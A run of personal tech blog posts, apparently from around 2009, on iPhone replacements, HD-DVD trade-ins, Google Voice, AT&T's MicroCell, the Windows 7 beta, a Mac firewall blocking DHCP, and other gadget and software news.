I recently took advantage of an in-store offer to replace my water-damaged 16GB iPhone 3G with a 8GB version for $199 with no contract extensions, just paid the money and walked out with it. And in my case I got to keep the old one, which makes a great WiFi-enabled MP3 player.

Apparently (according to reports) it's now official policy/program now for Apple stores to allow problematic iPhones where the water damage sensors (there are four of them) have been "tripped" (discolored do to extended water exposure) to be replaced with the same size and model for $199. That's a great move for people like me who do things like ski, boat and oh, I dunno... Live in the freakin' rain.

So, if you have a problematic iPhone that you have been told is not covered under warranty, you might be able to take advantage of this policy.

More info here.

When the now-long-forgotten HD disc format wars were just barely getting started, I jumped on the bandwagon early and bought the HD-DVD add-on drive for the Xbox 360 (at the original higher price, even). I also purchased a number of HD movies in the "Red" (HD-DVD) format and soon discovered the wonders of 1080p movies at home on the Xbox 360.

Ultimately, Blu-ray won the battle to determine which of the two competing formats would survive to become the industry standard. Today I rent Netflix movies in Blu-ray format whenever they are available, and there's nothing like the experience of great movies in high-definition in the home theater room with a 120-inch 1080p projected image and the sound cranked up.

I'm one of those people that buys movies I especially like or one that I'll want to watch again in the future. Unless it's really a favorite I'm more likely to rent from Netflix. Ever since the death of the red disc and the day I bought a PS3 (essentially to use as a Blu-ray player), I've wished I could play all my HD movies on the one device, just for simplicity's sake. But it doesn't work that way. I still hope for the day when a Blu-ray drive comes available for the Xbox 360, but I'm not holding my breath or anything.

Today I was reading blog posts from the past couple weeks and I saw that my friend Travis Illig recently mentioned a service from Warner Brothers called Red2Blu that allows you to take your HD-DVD's from that label and trade them in for the Blu-Ray version for a small fee per disc ($4.95). After creating a list of the Warner Brothers HD-DVDs you have at home on their web site and paying the upgrade fee with a credit card, you'll print out the PDF shipping label they provide, and then mail WB the cover art sleeves from the HD-DVDs you're converting to Blu-Ray. A FAQ covering common topics can be found here.

I just printed my shipping label and pulled all my cover art out of the HD-DVD cases. I'll ship it all off to WB tomorrow. It'll be nice to make the movie library a bit more consistent. I'll need to look to see if any of the other publishing companies have a similar program, but I was pleasantly surprised to find out that all but three of my HD-DVDs were from the WB label, so I'm pretty well covered. Here are the discs I'm able to convert:

Tech Crunch posted a list of Easter eggs - little hidden software treasures you have to search for inside a program to find. It's a good list, and has a few that I had forgotten about. Among those is what some say is the original software Easter egg (I beg to differ, it might be the first video game Easter egg - but we can save that for another day), from way back in 1979 in the Atari Adventure game (wow, I remember playing that one when it was new!).

Of course, Easter eggs aren't limited to software. DVDs have become a popular place to hide fun little things, too. The Lost DVDs are a good example of discs that have extra stuff you have to poke around to find. Web sites are also often sources of Easter egg fun, and http://www.eeggs.com/ is a good site to find out how to find the in a wide variety of places.

There are nine others in the TechCrunch list, plus a couple more scattered around in the (off-topic) comments. Check it out over at TechCrunch.com.

I had breakfast with a friend the other day. He's been writing some really cool iPhone apps and mentioned that he's wanting to focus for the future on apps that can be written and maintained cross-platform. He'll prefer to leave out the platform-specific "extra" functionality, he said, in order to be able to do the bulk of the work once and maximize the deployable surface area.

I got to thinking about this the rest of the day and came up with a whole list of questions for my friend. It's an interesting and logical approach, and certainly not wrong by any stretch of the means. Contrasted against the common move by devs to focus only on the iPhone platform for example, my friend's approach really makes me think. Now, to be clear, I have no idea what it takes to actually deploy an app to the iPhone and also have a version to deploy on Android or RIM devices, or on the upcoming Palm Pre (which looks really cool, by the way), or whatever. At least not without writing each one from scratch. My friend does, though. What I took from our conversation (as a business guy) was that it can be done at least to some extent, but that doing it in a cost-effective way means limiting functionality on any given platform. I may be oversimplifying, and in fact I probably am.

Then today I noticed that Mike Rowehl, who writes "This is Mobility," just posted an interesting article entitled "Please don't mistake my apathy for a lack of understanding," in which he takes on the recent meme suggesting that mobile developers are blindly leaving platforms other than Apple's behind, suck os Nokia's Ovi Store.

Which leads me to ask the obvious question: "What the heck is Nokia's Ovi Store?"

Granted, I'm not buying tons of mobile devices and deploying them like I used to, and certainly I'm not a mobile developer, but I'm still pretty well plugged-in (irony intended).

My past involvement in cross-platform development and porting of apps taught me that it's almost always a complicated and expensive endeavor. But it's not just building the app for the first time that one has to consider. Maintaining multiple platforms of the same app is can also be prohibitively expensive, unless there's a relatively simple and effective way to build once and deploy in many places/platforms. In the mobile world, it just isn't simple, cost effective and reliable enough (from what I can see).

And honestly, I want to choose the best devices and buy apps that take advantage of all the cool features those devices offer. I don't often want apps that leave out the latest hardware features and software enhancements.

Who's doing cross-platform mobile development and truly making it work? How are you doing it? If you've found the way, drop me a line - I'd like to hear about it.

For anyone who follows the "I always wait for the first service pack" method of deploying products, your excuse for waiting on SQL Server 2008 disappeared this past week, because SP1 for Microsoft SQL Server 2008 is now available.

Among the features, I like the slipstream install capability (install SQL server and the service pack in the same installation process), and the ability to uninstall the service pack separately.

Service Pack 1 for SQL Server 2008 is now available to customers. The Service pack is available via download at Download Center and is primarily a roll-up of Cumulative Updates 1 to 3 and minor fixes made in response to requests reported through the SQL Server community. While there are no new features in this service pack, customers running SQL Server 2008 should download and install SP1 to take advantage of the fixes which increase supportability and stability of SQL Server 2008.

The complete announcement is here.

UPDATE: We've had a great response and have assigned all of our beta invitations for the first round of testing, but please check the details below and let me know if you think you'd be able to help in a future phase!

I'm working with a software company to test some cool software that's currently in the early beta stage of development. The software is of a security nature and will be of interest to IT and security folks as well as individual computer users. We're looking for people with netbooks and notebook computers, especially ones with webcams built in, to test the software and provide feedback.

You'll be provided a test key and the beta software, and will need to honor the confidentiality provisions of the test program. It's nothing too complicated and the test risks are very small. You'll install the software, run through a few operational tests and let us know the results. We will ask first for technical results ("Did this work?") as well as your opinions and thoughts, should you wish to provide them.

What you'll need to provide and have available for the test:

• One or more notebook or netbook computers
• Computer(s) must be running Windows XP, Vista or Windows 7
• If it has a webcam built in, all the better (but not required)
• A Flickr account (basic account is fine)
• An email account and server information (for application configuration to allow sending of email alerts)

What you'll get as a result of testing and providing feedback:

• A free copy of the release version of the software when it's released (and you'll be glad you have it installed if your computer is ever lost or stolen, hint hint)
• Satisfaction and a sincere thank-you from me and the developers of the software

This software is quite interesting and has a lot of promise to provide real security value when it hits the streets, so we want to find as many complete test cases as we can. If you're interested, please email me at greg@greghughes.net and provide the details about your system, OS, etc - or call me at 503-766-2258. We are testing now, so let me know!

And thanks!

Since my last post, in which I predicted the newly-minted Google Voice service would be a real positive impact in my world, my Grand Central account was enabled for the upgrade to the new application and I have migrated to the service.

Greg’s One-Line Review: It’s pretty darned awesome.

But you probably want a little more detail than that, so here we go…

First of all, I should explain that I’ve used Grand Central for the past couple years. Grand Central was the centralized phone service that Google acquired some time back, and it allowed one number to ring multiple phones, with centralized voice mail, call screening and recording, etc.

Google Voice builds upon Grand Central by adding a number of new features, including a couple killer apps in my book: Text/SMS messaging and conference calling. Other enhancements include automated transcription of voice messages and a unified inbox for all your text messages and voice mails.

I live in a very rural area, far from the nearest cell phone tower. Mobile service on my iPhone is – for all intents and purposes – nonexistent at my house. If I put the phone up on a certain window sill and avoid moving it or touching it, I can get marginal service and might be able to receive text messages. But sending messages and making/receiving phone calls is next to impossible.

By giving people my Google Voice number (which is 503-766-2258 by the way), my friends and colleagues can send me text message and call me at one number, regardless of where I am and what services are available at my location. When someone calls the number, Google Voice rings my cell and home phones at the same time. I can add other phone numbers to the ring list, as well – on the fly. So, if I’m working from an office number I can add it to the list, no problem. I can define time periods to each phone, so individual phones ring only when I want them to.

I rely on text messaging for a lot of things, and many of my friends, family members and colleagues also rely on it to reach me. Needless to say, with poor wireless phone service at home, there are times when I don’t receive and cannot send text messages. That pretty much defeats the purpose of using text messaging to reach people in real time. With Google Voice, text messages send to my number are delivered to my phone and to my Google Voice Inbox, meaning even if the phone service prevents delivery, I get the text messages in my web browser and can reply to them there. That’s huge for me – and I have already taken advantage of the ability to send and receive text messages from my computer.

There are a few things I hoped I’d find in Google Voice that aren’t there, at least not there yet. I’m hopeful they’ll be added in the future:

• No support for sending text messages to groups – While you can create groups of contacts in the unified Google Voice inbox, you can only send messages to individual contacts. Since I lead a youth group at church, and we rely on text messaging to send out regular communications, I’d especially like to be able to send a single message to a group. As it is today, I can send a message to multiple contacts at once from my iPhone and just save the thread and keep replying to it, but when the group membership changes I have to start from scratch. It would be much easier and more reasonable to send to a single group managed in Google Voice.
• I’m a Google Apps user and have an Apps email account under the same Google account as the one I am using for Google Voice. I’m not sure why, but behavior is not as expected when I click on the Mail link at the top of the page from Google Voice. Rather than taking me to my Google Apps email inbox, it takes me to a page where it asks me to sign up for a GMail account. All other Google applications seem to understand where to go when that link is clicked, but this one doesn’t yet. I’m sure this is just early/beta stuff that needs to be worked out, but it also means my contacts are not synchronized across my Mail and Voice inboxes, which is unfortunate (they’ve already enabled unified contacts sync with GMail account inboxes).
• Support for syncing external contacts on the server side – While I was able to export my Outlook contacts, which are maintained on an Exchange server, as a CSV file and then import them without any issues into Google Voice, even better would be the ability to keep them up to date and in sync via the Google Voice service on the back end, maybe using ActiveSync or something similar. I’ll have to look for contact syncing software instead, since managing the sync effort by hand won’t really work for me.

All in all, Google Voice is a great app that’s already changing my ability to communicate. People in rural areas with marginal mobile service could really benefit from Google’s new offering. I’m looking forward to seeing what they deliver next!

I live in a remote location where you can barely get wireless service. I have to place my mobile phone on a window sill in just the right spot, and if I do that I will often get marginal service – enough to receive text messages most of the time, at least. Depending on the weather and atmospheric conditions, I sometimes get no signal at all.

There are two pieces of forthcoming technology that I plan to use to improve my situation as soon as they are available: Google Voice and the at&t 3G Microcell.

Google Voice was just announced late last week, and is an upgraded version of the services I already use via Grand Central, which Google acquired about a year and a half ago. Grand Central gives you one number and voicemail box for calls, and Google Voice expands in that by enabling SMS messages to the common number, with web and email access to the txt messages. I should note the service is free. The new features will be huge for me, since my ability to send and receive txt messages from home is limited at best, and often unreliable. I already have Grand Central routing voice calls to my home-office and cell phones at the same time, so the SMS addition will be welcome. Google is also adding voice mail transcription (machine transcribed) and some other nice features like built-in conference calling. They started upgrading people who already have Grand Central accounts a couple days ago, but mine has yet to be enabled for an upgrade. So, I am impatiently waiting. they say new users will be able to sign up in the coming weeks. More information about features available on Google Voice can be found here.

On another front, month or so ago, the tech news/rumor world was all excited about the pending at&t wireless 3G Microcell, which is a device that a user can plug into their broadband connection at home or in an office to create what amounts to a short-range personal wireless tower. I am luck enough to have terrific fast broadband service via a rural wireless transport provider called Cascade Networks, so I’ll be able to take advantage of the new at&t hardware when it’s available. Unfortunately, there’s been no news recently about availability of the 3G Microcell, but I’m hopeful it will be available soon. Having that available would enable me to consider shutting off my home phone service and possibly saving that monthly cost. The 3G Microcell is rumored to support data and voice for a few devices at a time, and who-knows in the cost department. All I know is it would improve my ability to communicate, which would be a welcome change.

More than once someone has asked me if there is a way to get Google to change their search results to exclude mean, inaccurate, defamatory, rude, or otherwise hard-to-swallow web pages. Often the desire motivating the question is legitimate, as someone has been smeared unfairly or - even worse - in a completely fabricated and malicious fashion, sometimes by anonymous online personalities.

The short answer is, "Probably not."

Now, before you think the proper solution is to have Google block the pages from their search results, it's important to understand that Google is not the Internet, and that it's not really making recommendations to you when it lists web pages that match what you're looking for. Rather, it's showing you an extensive list of links to content out there on the Internet that seems to match what you're looking for.

And that's what Google's search engine is: A way to find information created by other people and displayed on the Internet. It's not a filter that's meant to decide good from bad, who's right and who's wrong, who's lying or telling the truth, etc.

That said, there are things that Google works hard to avoid showing you. Spammy pages (especially ones that try to game Google's own advertising systems) are filtered out, and there are a couple topics that won't return results in their adsense and adwords advertising systems (just try to set up adsense on a site that sells or promoted firearms, for example). So they're not completely hands off, but for the most part they don't discriminate.

When you want to have a web page removed from the search listings at Google, the most effective (and almost the only) way to do so is to convince the person controlling the web page to change the information or remove it. If you can't get them to do that, it might be time to go to a court - assuming you have convincing proof that the page is inaccurate and/or malicious, etc.

Granted, if a judge sends Google a legal notice requiring them to take action, they'll probably do so. But good luck getting a judge to agree to do that.

Always go after the source of the problem. It's not Google's fault that some mean person posted a page that says you're a jerk and thief (even though you're not). But you might be able to convince a judge that the person you claim is defaming you should change or remove the page. If that happens, Google's indexing bots will automatically update the search results the net time they crawl the offending pages and see the content has changed.

Matt Cutts has a good article (with a great graphic) discussing this. Here's a brief excerpt of what Matt tells people when they ask him the same question:

We really don’t want to be taking sides in a he-said/she-said dispute, so that’s why we typically say “Get the page fixed, changed, or removed on the web and then Google will update our index with those changes the next time that we crawl that page.”

His post prompted me to think about this again since I get this type of question several times a year. Just keep in mind that while it's an emotionally difficult thing to have someone write mean things and lies about you for all to see, it's a relatively clinical process to try to get that information changed or removed. Just make sure you stay calm and look to the right people to help with driving those changes.

Google's official page that addresses how to remove content from the company's search results is located at:

http://www.google.com/support/webmasters/bin/answer.py?answer=136868

I dropped into a Starbucks this afternoon, all prepared to get some emails written and to get some work done between my Sunday afternoon and evening commitments. Everything was fresh in my mind and ready to go via the keyboard and onto the screen. I fetched my grande two-pump sugar-free vanilla skinny latte and sat down in the chair, opened the laptop and watched it wake up and connect to the AT&T wireless access point.

But much to my dismay nothing would load over the network. The AirPort icon in the status bar showed the name of the network and indicated that I was connected to the access point, but I had no connection to the Internet.

After a brief bit of trying over and over to load a web page, I checked the network preferences in the apple system preferences panel and found that I was not getting an IP address. The Mac was self-assigning a 169.* address, which is a non-routable local-only address. I tried restarting the AirPort card in the Mac, but that didn't help. I then found I was able to connect normally with my iPhone to the AT&T WiFi network and get a "real" IP address (192.x), so I quickly deduced that something was wrong with my Mac.

I had to give up on troubleshooting and head back out into the world, but I spent the rest of the day wondering if maybe there was something about the MAC address for my wireless card that AT&T had chosen to hate. After finishing my day of activities, I drove home this evening and fired my laptop back up. It connected to my home wireless network. But again, no IP address assigned. Hmm, definitely the laptop.

I started thinking now. What could be happening? Powering the AirPort on and off, shutting down the Mac and powering it back up, manually telling the network stack to renew it's DHCP lease - all these things did no good.

I finally decided to take a look at the Mac firewall logs. You'd think that would be the first place I'd look, being a security guy. They're kind of hidden in plain sight, a few layers deep in the Mac's preferences dialogs. You go to the System Preferences panel, in the Security section, then the Firewall tab, then click the Advanced button, and finally click the Open Log button. If logging isn't already turned on, you can enable it there, as well.

Sure enough, I looked in the log and found several examples of this (emphasis mine):

Feb 8 23:02:04 greg-hughess-macbook-air Firewall[39]: Deny configd data in from 192.168.0.1:67 uid = 0 proto=17
Feb 8 23:02:26: --- last message repeated 2 times ---

Ah hah... Apparently the firewall was refusing inbound connections initiated by the router as it tried to set up the DHCP address being requested by the laptop. The configd daemon is a service that handles configuration changes for various pieces of the system, mostly all network-related. Great, I had something to fix!

I first confirmed configd was in fact running, then deleted the firewall configuration file (located at /Library/Preferences/com.apple.alf.plist) and configured the firewall to temporarily allow all connections, and then back to allowing essential services. Sure enough, as soon as I made the changes the Mac was able to get a DHCP address from the router, and the network was back up and working.

I have no real idea how the firewall got messed up. At one point I had it set to configure access for specific services and apps, so that might have had something to do with it. But it's strange that this problem only started today. It's possible the configd process was denied by a rule, I suppose. Perhaps I hit a key on a pop-up dialog to deny firewall access to the daemon without even realizing it while typing?

At any rate, it seems to be working now (as evidenced by the fact that I am able to post this blog entry, of course) and hopefully it will continue to work as expected. Maybe this will help someone else troubleshoot a similar issue.

Good or bad, we live and work in an increasingly binary world.

More and more I notice our collective bipolar mentality. Everything is completely one extreme or another, with no time or thought put into the idea that there might be something much more realistic and reasonable in-between. It's black or it's white. You're conservative or you're liberal. It's all the way on or it's shut completely off. It's awesomely great or it's despairingly terrible.

What happened to the various shades and levels of gray, moderation and good? Perhaps this is a result of our increasingly computer-centric boolean society, where everything at it's core can be distilled down to one's and zero's, on and off, yes or no - with nothing in-between. But the organic world has never worked that way, and I think maybe we're seeing the signs that people have forgotten to look for the compromise.

One case in point, among many: A blog article today at TechCrunch reports that management at a large company, Nielson, has decided to remove the Reply-All button from all instances of outlook. Apparently some executive committee decided this would reduce waste and increase productivity. Certainly they must be right: It's a technology problem, right? Whoever the person was that thought of the reply-all concept originally couldn't possibly have been thinking about the consequences of including this feature. They must have been misguided, unknowing and wrong.

Or were they?

To take such drastic action as to completely remove the reply-all button from Outlook seems - well - misguided, unknowing and wrong. It takes a people problem, assumes (incorrectly) that it's a technology problem, and in the end creates a new - and potentially larger - business problem.

Don't get me wrong. I hate rampant reply-all email threads as much as anyone, maybe even more so. I especially dislike the passive-aggressive, nasty, insolent and rude behavior that people often use (often, ironically, in a reply-all email) to try to tell people how much they dislike email spam. If I'm copied on a business topic thread that I don't feel the need to review and would especially like to avoid, I don't like it. But I really hate it when people include me on their angry extension of the thread where they insult the original sender and complain. At least the original thread had a business purpose.

As a senior manager, several times I've replied-to-all to say "This thread is closed, please restrict the distribution of future info those those who are needed." In every case, the goal was to get people to stop and think. It almost always worked.

Now, I can see where accidental reply-all's and excess email would business and technology people to look for a way to just make it stop. I'm not saying there's not a problem to be solved - quite the contrary. But reply-all also provides a legitimate and useful piece of business functionality, one that makes people more efficient and in many cases ensures all the right people are in the loop.

The real problem here is people-related: There's a time and a place for using reply-all, and when people get lazy or don't think things through, the situation can become spammy, annoying and time-consuming. When it's useful it's very useful. When its misused it's a real pain.

Given that fact, taking the all-or-nothing, binary technology approach and removing the functionality entirely seems to be a poor method for dealing with is - at it's root - a people behavior problem.

In fact, for years there have been other options available. One example is the Reply to All Monitor (pay software, try code RA26BA50 for a possible 50% price reduction). There are other apps out there, as well. If you don't want to buy software, you can also program some VBA code to modify Outlook's behavior and prompt the user before they can send ("Are you sure you want to reply-all?"). Plus, there are a variety of ways to configure all your Outlook instances to use a plugin or your own VBA code. Of course, if you're removing the reply-all button from all the Outlook instances at a company, you probably already know this.

Imagine: Someone else might have had this problem and found a smart way to solve it. I guess the thing that really bothers me is what looks and feels like a reactive decision, likely made by people without complete information. Do you really want to completely disable all reply-all's, or is the true intent and desire to try to get people to think before they send, while allowing reply-all in cases where it makes sense?

Anyhow, I think you get the point. You can't really solve people problems with technology. Instead we should use technology to try to support people in behaving in the way we need then to. But in the end, it's all about the person's behavior, not the computer's.

Or you could say, "Buttons don't reply-to-all, people reply-to-all."

Although there's not a specific release date or price available yet, AT&T has posted some information on their web site that points to the future release of their new, in-home 3G cell station, which I mentioned here a couple weeks ago.

Engadget has some details about the device from the AT&T web site (details since removed from att,com, copied below), and images (like the one above) have started to show up on AT&T's site, as well. The pictures show two manufacturer names: Cisco on the case and Scientific Atlanta on the model/serial number label.

I'm looking forward to this, as I technically live outside the usable AT&T service area and can only occasionally/barely get a wireless signal at my home.

What is an AT&T 3G MicroCell™?

AT&T 3G MicroCell acts like a mini cellular tower in your home or small business environment. It connects to AT&T's network via your existing broadband internet service (such as DSL or cable) and is designed to support up to 10 3G capable wireless phones in a home or small business setting. With AT&T 3G MicroCell, you receive improved cellular signal performance for both voice calls and cellular data applications, like picture messaging and surfing the web for up to 4 simultaneous users.

Device Features:

• Enhanced coverage indoors - supports both voice and data up to 5000 square feet.
• Available unlimited minute plans - Individual or Family Plan.
• 3G handset compatible - works with any AT&T 3G Phone.
• Up to 4 simultaneous voice or data users supported.
• Device is secure - cannot be accessed by unauthorized users, easy and secure online management of device settings
• Seamless call hand-over - start calls on your 3G MicroCell and continue uninterrupted even if you leave the building.

Device Requirements:

• 3G wireless phone/device
• Broadband service over DSL or cable
• Computer with internet access for online registration

Additional Information:

• Installing your device near a window is strongly recommended to ensure access to Global Positioning System (GPS). A GPS link is needed to verify the device location during the initial startup.
• The 3G MicroCell device is portable. The device may be moved, provided the new location is within the AT&T authorized service area and properly registered online.

Microsoft has turned loose its Windows 7 Beta release to the public, and you can download it now. The beta times-out in the fall (it is a test version, after all), and is apparently limited to 2.5 million installs (product keys). You can learn more about the Windows 7 Beta release in our interview with Microsoft's Stephen Rose on RunAs Radio.

As of 11:45 a.m. Pacific time, the "profile.microsoft.com" servers responsible for the first phase of getting the new software were - not surprisingly - too busy. Try again later. We might see things improve in a few minutes (Update: no change after the advertised time, just to many excited people), since the official release time is actually noon Pacific time (GMT -8). But it would be unusual for TechNet to post the page without the software being rolled out.

TechNet Plus subscribers (only) should download the software here.

You can use a program like ImgBurn (cool little app) to put the ISO image on your writable blank DVD.

I already have my downloaded copy and key, so time to install it on my HP laptop machine now that I have some spare time available for the next hour or so.

The CES Keynote is over, so now you can listen to our exclusive Windows 7 interview with Microsoft Sr. Community Manager for Windows Client IT Pros, Stephen Rose, available at these links:

RunAs Radio Web Site | Download MP3 file | Download WMA file

Alongside a core message of stepping up expectations in technology despite the economy, Microsoft announced this evening that it's releasing its Windows 7 Beta (build 7000) to the public for open testing and feedback. Last week Richard Campbell and I interviewed Microsoft's Stephen Rose for today's episode of RunAs Radio to discuss today's beta release, which was officially announced by Steve Ballmer during his keynote at CES tonight.

The general public gets it to download it this weekend, while MSDN and TechNet customers can get it now (product keys through the standard methods). Our interview with Stephen Rose contains some details about the how's and when's of getting the beta software for different people, as well as what one can expect from Windows 7.

It's good to see Microsoft adopting an open-beta model, where anyone who wants to can participate in the feedback process. It's going to be quite the undertaking to manage so many downloads and users, but I imagine it will be very much worth it in the end.

Of course, running a beta OS (which I tend to do regularly) isn't for the timid nor faint of heart. But for those who are comfortable, I think you'll be pleasantly surprised with the new version and what it has to offer when you check it out. Note that both 32- and 64-bit editions are available and the beta expires/times-out in the fall of this year.

Links for more information about and access to the Windows 7 Beta:

• Windows 7 page on Microsoft.com
• Windows Team Blog: Downloading Windows 7 Beta
  
• Springboard page on Microsoft TechNet

Unfortunately, I'm not one of the customers that AT&T has apparently been reaching out to in their testing of in-home micro wireless stations. I wish I was, since I live in the sticks and barely get service at all on my AT&T wireless phone. This is exactly what I need: A broadband-connected device that gives you local 3G coverage in your home.

Ars Technica reports that AT&T has described the device this way:

"AT&T's new product is a small, security-enabled cellular base station that easily connects to your home DSL or Cable Internet, providing a reliable wireless signal for any 3G phone in every room of your house. The device allows you to have unlimited, nationwide Anytime Minutes for incoming or outgoing calls."

If anyone from AT&T happens to be reading, I'd be ecstatic to try the device out and provide detailed feedback. Feel free to contact me, my email and phone number are over in the sidebar. I'm just sayin' ...

SD cards have become a de facto standard format for media in most devices, with a couple holdouts (namely Sony, which predictably uses a proprietary format). As such, the format has grown and there's been quite a bit of innovation effort focused in the SD arena.

A couple of announcements made this week at the CES show in Las Vegas are worth paying attention to. In one announcement, we learn that the SD format will support massively larger storage. In the other announcement, a popular WiFi-enabled SD card gains some nifty new video-handling features.

SDXC means on-card storage increase to a theoretical 2 terabytes

The SD Association announced a new standard (links to PDF file) that will soon have us leveraging massively larger storage capabilities (with much higher purchase prices, one would have to assume - we will have to see what the economies of scale bring us):

"The new SDXC specification provides up to 2 terabytes storage capacity and accelerates SD interface read/write speeds to 104 megabytes per second this year, with a road map to 300 megabytes per second."

That's some serious storage and speed. Photographers and HD videographers can soon rejoice. Just don't lose your little 2-terabyte card. Of course, it's likely that new devices will be needed to support the new standard. The SD Association says the SDHC, Embedded SD and SDIO specifications will also benefit from the new SD interface speeds. I'd be very (and pleasantly) surprised if we can take advantage of the larger storage capabilities in existing devices.

New Eye-Fi SD cards will allow direct HD uploads to YouTube

Eye-Fi already has a great thing going with their SD cards that use WiFi to transfer digital images, and now they're previewing a new card technology that will allow you to directly transfer your HD video content straight from the card to YouTube via WiFi. Now that's cool. I really want one of those for use in my Kodak Zi6 HD camera, and I'd use it in my full-sized HD camera, too. The power-requirement questions rattling around in my head will have to be answered at a later date, and I hope it will handle video as well as still images on the same card. Unfortunately they're not available yet, and no date was set for release. But I, for one, will definitely be watching for this.

Ever wonder how they put that amazing magical yellow line on the line of scrimmage and at the first-down point on the college and NFL football games we watch on TV? It's a terrific technology and has in many ways made watching football very different since it was adopted several years ago.

Well, for those of use who have wondered exactly how they do it, here's a video via FANDOME that explains in some technical detail how the magic TV line on the football field works:

Very cool stuff.

I've written here several times in the past about Pandora, the slick Internet music app that streams music it determines you'll like based on a starting point you give it (like a specific artist, for example). You can refine the channel by voting up or down, song by song. Based on your votes and the "genetic" makeup of the music you rate, it determines what other music to put into the channel. The greatest aspect of using Pandora is discovering some truly great music and artists, many of which I never heard of before Pandora. It changed my music world.

Not too long ago, Pandora for the iPhone was released, and it was the number-one free iPhone app for 2008, and for good reason. It works well on WiFi or 3G networks and provides the majority of the functionality you get on the full-blown web app.

Well, today Pandora released v2 of their iPhone app, and they've added even more to it. Gleaned from the release notes, here are the new features:

• Tap the album art to see a progress bar, create a station from the current song or artist, or to email the station to a friend
• View the "back side" of the album art to read artist bios
• Rotates to a landscape layout to see recently played songs (coverflow-style)
• Play samples of each of your bookmarked songs
• Create a station based on genre

It's a cool update. I just wish I could close it and have it play in the background while I do other thing son my iPhone. I mean, come on Apple - It's the number-one app, make an exception, please! Anyhow, I don't know if I will use it more (it was already pretty great), but it adds some smart new functionality that's appreciated. You can find it here (links to iTunes App Store) or just get it for free via the App Store icon on your iPhone or iPod Touch.

A few photos to show you what I'm talking about:

Artist bio

'Create New Station' options

Sending to a friend without leaving the app

Coverflow-like view of past-played songs

Mark Minasi is a true character, and always a fun guy to have a conversation with. While in Las Vegas at the Connections conference Richard Campbell and I had a couple fun discussions with Mark, including one on the concept of Cloud Computing, and in the context of Microsoft's recent Azure announcement.

Mark's take on the whole cloud-computing thing is an interesting one. You can listen to our conversation with him via the RunAs Radio show link (Site|MP3).

While you're at it, you might also be interested in our other interview discussion with Mark that we did in Vegas, in which we covered (sort of, and among many other random things) Windows 7 (Site|MP3). It's a little crazy and chaotic, but was also a lot of fun.

Enjoy.

I'm stuck at home during this incredible and unusual snow storm. I quite literally cannot drive my four-wheel-drive truck out of my driveway due to the wet and icy layer under the two feet of snow that's accumulated, melted slightly, and then refrozen over the past week. Unfortunately, when the storm is at its worse, my iPhone has lost it's connection to AT&T's network. "No service" has become its full-time status. I've tried both enabling 3G (which we don't have out here) and restricting it to EDGE only, and it simply will not connect. Until recently I would at least get a signal if I set it down it in the right spot.

When the power goes out at the house, I need to be able to make at least one phone call (to the power department). In a storm out here, power outages are a fact of life. I've been unable to call the PUD this week because I had no cell service on the iPhone. And the power went out for 7 hours the other day.

Today I got fed up with the inability to place a call and waded through the sea of snow to my truck (which is stuck), rifled through my center console, and found my old Blackberry 8800 and the battery. It's been in there and unused for over a year. I popped the SIM card out of the iPhone and slid it into the Blackberry, then popped the battery in. Even after sitting for a year the battery had a half-full charge (wow) and the Blackberry powered up and within a few second acquired the AT&T network. Text messages started to flow in - success! Of course, the data connection was refused, but the GSM phone service works fine for text and voice service. It makes Snowmageddon a little more tolerable.

I've grown more and more frustrated with my iPhone's network performance over the past month. I plan to take it in and see if it's the individual phone, or a network change, or if it's more of a design thing, but I'm not holding my breath. Luckily the iPhone still works on WiFi without the SIM card (which actually makes it an "i" rather than an "iPhone" I suppose, heh), and that's good because I rely on it for a number of truly invaluable network-capable applications.

Anyone else done comparisons, or had network performance issues with their iPhone 3G after some time has passed? I've done complete restores of the phone to make sure the phone was clean software-wise, same issues. Any experience you have will be appreciated.

There are a few different options out there for running virtual machines on your desktop. One of those available options is Parallels, and an electronic-delivery special offer lets you get two copies of Parallels v4.0 for the price of one. That's $40 per copy, quite a deal. So, if you have a need to run Windows apps on your Mac, or you want to run any other PC-based operating system, you might consider grabbing a copy. You could give the other one away as a good, geeky Christmas gift.

Link: Parallels two-for-one offer

15 years ago Rwanda was the scene of massive genocide. Today the country is working to transform itself become an Internet hub of the African continent.

This is a good video by Internet Evolution, and shows that the Internet's not just about big companies and catch-phrase ideas like Web 2.0. You can't really see or know the extent of the Internet and it's impact without going places to see the impact for yourself. Since most of us can't do that on our own, Internet Evolution's Web Wide World videos take us there.

Not that you'd actually want to do it (or at least I don't think I would), but you have to admit it's pretty cool that you can now run Linux on the iPhone. It's really basic so far, but no doubt it will get better and have more and more hardware/feature support. Maybe a dual-boot option would be cool though, after all...

Details are here and Engadget has info, too. Video showing it off below. What would you use it for?

Portland's Shizzow, a thankfully-simple service that you can use to "shout" to your people and let them know where you are, has announced they're expanding into the California market. The service got its start here in Portland, Oregon and the team has methodically built it out and run it in the home market up until now.

The basic idea of Shizzow is this: A quick and easy social networking service that lets you quickly and easily communicate to your friends about where you are so you can spend more time face-to-face. It's really as simple as that. You don't need to know addresses, you can just provide a name. Shizzow figures out the rest. You can also add custom locations (like Greg's place, for example). There's a simple interfaces for web, mobile and SMS.

Now Shizzow has sprouted wings and is offering the service to people in California, with a focus on the San Francisco Bay Area - That's quite an expansion! The service is available for people living in either area via an invitation, which you can request here. I also have ten invitations available for anyone who asks, until they're gone. Just email me or leave a comment (be sure to provide your email address in the comment form so I can send it to you).

Great job by the Shizzow crew, which (it should be noted) is a small group of people that have built and run this operation outside of the their day jobs. That's how they plan to expand - Bootstrap it along and continue along the lines of their current success. I hope we'll see an API sometime soon, since that would provide the ability to deliver mobile apps and what have you, and could open up the use (and in the end enhance usability) of the system substantially. Cool stuff!

While at the TechEd EMEA conference is Spain this week, I had the opportunity to visit with Thomas Dawkins from Microsoft's Trustworthy Computing Group. He's the guy responsible for the Microsoft Security Assessment Tool (or MSAT for short). The MSAT is a tool that's been around for a couple of years, but it was recently updated by Thomas with some great new enhancements, including a new user interface and a stronger, more complete set of back end information.

MSAT is a free tool that you can download from Microsoft. It's targeted to companies of 1,500 employees or smaller (as a general rule) and follows a questionnaire format to assess weaknesses in the IT security environment. Bt it's not a parching tool or a scanning tool. Instead, it leverages standards like ISO 27001 and NIST-800.x to baseline the security readiness of your organization.

It enables people to do what we security professionals hope for: analysis across each of the people, process and technology elements of a business' computing environment in order to ascertain how and where we need to spend our time and energy. The tool not only describes the state of readiness of the assessed environment, it also provides best-practice recommendations rooted in industry-accepted standards that can be used to improve the organization's security stance.

One of the most likely users of a tool like this is the IT manager, but one can also picture security consultants, business managers, and anyone else with responsibility for an organization's security operations leveraging the tool and the reports it generates.

